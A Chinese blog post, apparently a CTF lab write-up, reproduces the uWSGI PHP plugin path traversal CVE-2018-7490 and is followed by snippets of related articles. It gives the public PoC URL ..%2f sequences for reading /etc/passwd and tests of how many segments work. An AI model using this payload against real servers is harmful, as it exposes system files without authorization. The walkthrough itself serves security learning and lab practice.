uWSGI 漏洞复现（CVE-2018-7490）

最新推荐文章于 2022-11-04 10:29:02 发布
最新推荐文章于 2022-11-04 10:29:02 发布
阅读量3.6k 收藏 2
点赞数
分类专栏： 漏洞 文章标签： uWSGI 安全 安全漏洞
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_46150940/article/details/115419273
版权

目录标题

漏洞简介

CVE-2018-7490 （PHP目录穿越漏洞）

uWSGI是一个Web服务器，它实现了WSGI协议、uwsgi、http等协议。Nginx中HttpUwsgiModule的作用是与uWSGI服务器进行交换。WSGI是一种Web服务器网关接口。它是一个Web服务器（如nginx，uWSGI等服务器）与web应用（如用Flask框架写的程序）通信的一种规范。

影响版本

uWSGI 2.0.17之前版本中存在路径遍历漏洞。

漏洞分析

uWSGI 2.0.17之前的PHP插件，没有正确的处理DOCUMENT_ROOT检测，导致用户可以通过…%2f来跨越目录，读取或运行DOCUMENT_ROOT目录以外的文件,利用该漏洞查看系统上的任意文件。

漏洞复现

BUUCTF-[uwsgi]CVE-2018-7490

访问靶机地址,是phpinfo页面，可以看到uWSGI/php，可能存在任意文件读取漏洞
在这里插入图片描述
下面是官方提供的POC：

url/..%2f..%2f..%2f..%2f..%2fetc/passwd
#/号经过url转码后得到%2f

成功读取到etc/passwd文件
在这里插入图片描述

经过测试当payload为

/..%2fetc/passwd

此时Not Found
在这里插入图片描述

当payload为

/..%2f..%2fetc/passwd

此时可以读取到etc/passwd文件
在这里插入图片描述

Atkxor
关注
  • 0
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
墨者靶场 uWSGI 漏洞复现（CVE-2018-7490）
曹振国的博客
06-08 1007
uWSGI 漏洞复现查看靶场提示漏洞简介受影响版本漏洞分析漏洞复现 查看靶场提示 漏洞简介 CVE-2018-7490 （PHP目录遍历漏洞） uWSGI是一个Web服务器，它实现了WSGI协议、uwsgi、http等协议。Nginx中HttpUwsgiModule的作用是与uWSGI服务器进行交换。WSGI是一种Web服务器网关接口。它是一个Web服务器（如nginx，uWSGI等服务器）与web应用（如用Flask框架写的程序）通信的一种规范 受影响版本 uWSGI 2.0.17之前的版本 漏洞分析
【墨者靶场】---2、uWSGI 漏洞复现（CVE-2018-7490）
qq_43168364的博客
08-21 511
背景介绍 uWSGI是一个Web服务器，它实现了WSGI协议、uwsgi、http等协议。Nginx中HttpUwsgiModule的作用是与uWSGI服务器进行交换。WSGI是一种Web服务器网关接口。它是一个Web服务器（如nginx，uWSGI等服务器）与web应用（如用Flask框架写的程序）通信的一种规范。 实训目标 1、学会根据漏洞编号查找漏洞详情； 2、了解uWSGI CVE-2018-7490漏洞形成原理； 3、掌握uWSGI CVE-2018-7490漏洞利用方法； 解题方向 利用
CVE-2018-7490 uSWGI PHP遍历漏洞 vulhub复现
ANOrange的博客
06-15 696
记录vulhub靶场中CVE-2018-7490漏洞复现及小笔记
uWSGI PHP 目录遍历漏洞（CVE-2018-7490）
H_123s的博客
08-09 377
1.漏洞详情 uWSGI是一款Web应用程序服务器，它实现了WSGI、uwsgi和http等协议。 uWSGI2.0.17之前的版本中存在路径遍历漏洞，该漏洞源于程序没有正确的处理DOCUMENT_ROOT检测。攻击者可通过发送带有“…”序列的特殊url请求利用该漏洞查看系统上的任意文件。 2.漏洞编号 CVE-2018-7490 3.影响版本 Debian Debian_linux:8.0 Debian Debian_linux:9.0 4.启动环境 进入漏洞根目录下，编译并启动环境 docker-co.
uWSGI目录遍历（CVE-2018-7490）
weixin_46801402的博客
11-04 537
uWSGI目录遍历（CVE-2018-7490）
CVE-2018-7490 uWSGI PHP Plugin目录遍历
king丶
07-12 845
#攻击标题：uWSGI PHP Plugin目录遍历 #日期：2018年3月1日 #开发作者：Marios Nicolaides-RUNESEC #评审人：西蒙·洛伊齐德斯和尼古拉斯·马基塔尼斯-鲁内塞克 #供应商主页：https://uwsgi-docs.readthedocs.io #受影响的软件：2.0.17之前的uWSGI PHP Plugin #测试依据：uWSGI 2.0.12和2.0.15 #公司代码：CVE-2018-7490 #类别：Web应用程序 概述 ...
uwsgi-plugin-python-2.0.16-1.el7.x86_64.rpm
12-31
官方离线安装包，测试可用。使用rpm -ivh [rpm完整包名] 进行安装
uwsgi-2.0.18.tar.gz
07-02
uwsgi-2.0.18是uwsgi的一个版本，提供了性能优化和各种新特性。在这个tar.gz压缩包中，包含了uwsgi 2.0.18的所有源代码和相关文件，可供开发者编译安装。 对于Django项目，uwsgi是常用的服务器选项，因为它能够提供...
web2py-nginx-uwsgi-nossl-docker
06-13
【web2py-nginx-uwsgi-nossl-docker】是一个专为在Docker环境中部署web2py应用程序设计的配置方案。web2py是一个全功能的Python Web框架，支持多种数据库，提供MVC架构，内置开发环境和管理工具。本方案结合了Nginx...
uwsgi-local-dns-resolver
06-01
uWSGI-local-DNS-resolver uWSGI-local-DNS-resolver（从现在开始uWSGI-DNS ）是一个 DNS 服务器，它解析每个指向 uWSGI 订阅域的请求到localhost 。 为什么？ 我们的主要目的是让用户透明地连接到通过 uWSGI ...
uwsgi-alarm-socket:用于监控套接字的 uWSGI 简单插件
06-09
uwsgi-报警插座用于监控套接字的 uWSGI 简单插件只需列出要监控的地址（TCP 或 UNIX），只要与它们的连接失败，就会触发 uWSGI 警报。安装该插件是 2.x 友好的： uwsgi --build-plugin ...
CVE-2018-7490 uWSGI PHP目录穿越漏洞
weixin_51387754的博客
01-17 3213
漏洞简介 uWSGI是一款Web应用程序服务器，它实现了WSGI、uwsgi和http等协议，并支持通过插件来运行各种语言。 uWSGI 2.0.17之前的PHP插件，没有正确的处理DOCUMENT_ROOT检测，导致用户可以通过..%2f来跨越目录，读取或运行DOCUMENT_ROOT目录以外的文件。 漏洞复现 运行存在漏洞的uWSGI服务器： docker-compose up -d 运行完成后，访问http://your-ip:8080/即可看到phpinfo信息，说明uwsgi-php服务器已
Nginx
qq_21896123的博客
09-08 432
nginx Nginx 基本概念 ngixn是什么，做什么事情 Nginx (“engine x”) 是一个高性能的 HTTP 和反向代理服务器,特点是占有内存少，并发能力强，事实上 nginx 的并发能力确实在同类型的网页服务器中表现较好，中国大陆使用 nginx 网站用户有：百度、京东、新浪、网易、腾讯、淘宝等。Nginx作为web服务器，性能是其最重要的考量,实现上非常注重效率 ，能经受高负载的考验,有报告表明能支持高达 50,000 个并发连接数。 正向代理 如果把局域网外的 Internet 想象
【墨者学院 】uWSGI 漏洞复现（CVE-2018-7490）
热门推荐
Summer's blog
05-13 1万+
0x01 漏洞详情 uWSGI是一款Web应用程序服务器，它实现了WSGI、uwsgi和http等协议。 uWSGI 2.0.17之前版本中存在路径遍历漏洞，该漏洞源于程序没有正确的处理DOCUMENT_ROOT检测。攻击者可通过发送带有‘…’序列的特制URL请求利用该漏洞查看系统上的任意文件。 uWSGI 2.0.17之前版本中存在路径遍历漏洞，该漏洞源于程序没有正确的处理DOCUMENT_RO...
墨者学院——WSGI 漏洞复现（CVE-2018-7490）
知足且坚定，温柔且上进
02-09 1414
此题不难，写wp的目的是为了记住uWSGL相关问题的方向 背景介绍 uWSGI是一个Web服务器，它实现了WSGI协议、uwsgi、http等协议。Nginx中HttpUwsgiModule的作用是与uWSGI服务器进行交换。WSGI是一种Web服务器网关接口。它是一个Web服务器（如nginx，uWSGI等服务器）与web应用（如用Flask框架写的程序）通信的一种规范。 实训目标 1、学会根据...
uWSGI PHP目录穿越漏洞（CVE-2018-7490）
黑白的博客
12-29 1087
声明 好好学习，天天向上 漏洞描述 uWSGI是一款Web应用程序服务器，它实现了WSGI、uwsgi和http等协议，并支持通过插件来运行各种语言。 uWSGI 2.0.17之前的PHP插件，没有正确的处理DOCUMENT_ROOT检测，导致用户可以通过..%2f来跨越目录，读取或运行DOCUMENT_ROOT目录以外的文件。 影响范围 uWSGI 2.0.17之前版本 复现过程 这里使用2.0.16版本 使用vulhub /app/vulhub-master/uwsgi/CVE-2018-7490 使
HTTP请求走私漏洞
Atkx's Blog
04-11 5238
这里写自定义目录标题 [RoarCTF 2019]Easy Calc calc.php代码 <?php error_reporting(0); if(!isset($_GET['num'])){ show_source(__FILE__); }else{ $str = $_GET['num']; $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
uwsgi legacy-install-failure
最新发布
09-06
uWSGI是一种Web服务器和应用服务器。在安装uWSGI时，可能会遇到legacy-install-failure的错误。 通常这个错误是由于安装过程中依赖包的问题引起的。为了解决这个问题，可以尝试以下几个步骤： 1. 检查依赖关系：首先要确保系统中安装了必需的依赖关系。比如Python、Python开发工具包和GCC等。可以使用命令`yum install python python-devel gcc`来安装这些依赖关系。 2. 更新软件包：有时候安装失败是因为软件包的版本过低。可以使用命令`yum update`来更新系统中的所有软件包。 3. 清除缓存：在尝试重新安装之前，可以尝试清除系统缓存，以确保安装过程中不会出现任何冲突。可以使用命令`yum clean all`来清除所有的yum缓存。 4. 重新安装uWSGI：在执行上述步骤之后，再次尝试安装uWSGI。可以使用命令`pip install uwsgi`来安装最新版本的uWSGI。 如果上述步骤都没有解决问题，可能还需要查看更详细的错误日志来了解问题的具体原因。可以检查系统日志文件和uWSGI的日志文件，查找相关的错误信息，并尝试解决这些错误。 总而言之，uWSGI legacy-install-failure可能是由依赖关系问题引起的。通过确保系统中安装了必需的依赖关系、更新软件包、清除缓存和重新安装uWSGI，可以解决这个问题。如有必要，还需要查看更详细的错误日志来进行故障排除。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Atkxor

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值